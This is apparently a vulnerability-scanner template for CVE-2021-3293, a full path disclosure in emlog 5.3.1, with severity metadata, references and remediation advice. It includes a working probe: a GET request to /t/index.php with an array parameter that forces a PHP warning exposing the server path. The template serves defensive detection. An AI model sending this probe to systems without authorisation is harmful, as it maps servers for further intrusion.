id: CVE-2021-3293

info:
  name: emlog 5.3.1 Path Disclosure
  author: h1ei1
  severity: medium
  description: emlog v5.3.1 is susceptible to full path disclosure via t/index.php, which allows an attacker to see the path to the webroot/file.
  impact: |
    An attacker can gain knowledge of the server's file system structure, potentially leading to further attacks.
  remediation: |
    Apply the latest patch or upgrade to a version that fixes the vulnerability.
  reference:
    - https://github.com/emlog/emlog/issues/62
    - https://github.com/thinkgad/Bugs/blob/main/emlog%20v5.3.1%20has%20Full%20Path%20Disclosure%20vulnerability.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3293
    - https://github.com/Z0fhack/Goby_POC
    - https://github.com/20142995/Goby
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-3293
    cwe-id: CWE-22
    epss-score: 0.17436
    epss-percentile: 0.96736
    cpe: cpe:2.3:a:emlog:emlog:5.3.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: emlog
    product: emlog
  tags: cve2021,cve,emlog,fpd,vuln

http:
  - raw:
      - |
        GET /t/index.php?action[]=aaaa HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<b>Warning</b>"
          - "on line"
          - "expects parameter"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a728ddc26bbee17410e24770ae4bb1f7bfd04da202ec86f9d8e053d1527e5e96022100c64d595a0df22821cc4955c80126ac9e8df4348f962a3c5ca4ef68df6c65fbd5:922c64590222798bb761d5b6d8e72950